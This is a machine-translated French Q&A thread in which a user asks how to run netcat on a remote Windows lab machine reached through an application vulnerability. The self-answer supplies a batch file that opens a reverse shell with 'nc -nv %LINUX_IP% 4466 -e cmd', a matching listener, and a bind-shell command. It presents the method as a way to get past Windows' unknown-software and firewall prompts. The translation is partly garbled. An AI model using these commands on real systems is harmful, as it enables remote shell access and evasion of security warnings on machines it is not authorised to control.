web-dev-qa-db-fra.com

Exécutez Netcat en tant que fichier de batte au lieu de EXE

J'ai besoin d'exécuter un Netcat sur une machine de laboratoire distante. Je peux exécuter des commandes distantes via le navigateur avec des droits d'administrateur (en raison de la vulnérabilité de l'application) mais je n'ai pas accès à la machine elle-même.

J'ai téléchargé nc.exe Sur un serveur distant, mais cela ne fonctionne pas, probablement en raison de Windows demandant au si il est correct d'exécuter un logiciel inconnu, mais il n'y a personne à cliquer sur "Autoriser".

J'ai donc essayé d'utiliser exe2bat Logiciel, mais je pense que j'ai fait quelque chose de mal quand j'ai fait la conversion.

Cette commande qui devrait fonctionner pour moi: nc.exe -lvp 7777 -e cmd.exe
Conversion: exe2bat nc.exe nc.bat
Exécution: nc.bat -lvp 7777 -e cmd.exe

Pouvez-vous vous conseiller pourquoi cela ne fonctionne pas pour moi ou ce que je fais mal, ou s'il y a une autre meilleure exe to Bat Converter?

3
Dranik

J'ai dû télécharger nc.exe et nc2.bat pour contourner l'avertissement de sécurité "logiciel inconnu".
[.____] nc2.bat contenu pour initier la connexion à l'intérieur et éviter l'invite de sécurité du pare-feu:

@echo on
c:\%path_to_nc%\nc -nv %LINUX_IP% 4466 -e cmd
  1. Puis configurez un auditeur sur Linux IP

    nc -nlvp 4466
    
  2. Exécuter une commande à distance appelant pour NC2

De cette façon, j'ai immédiatement reçu une invite de commande de la boîte Windows.

2
Dranik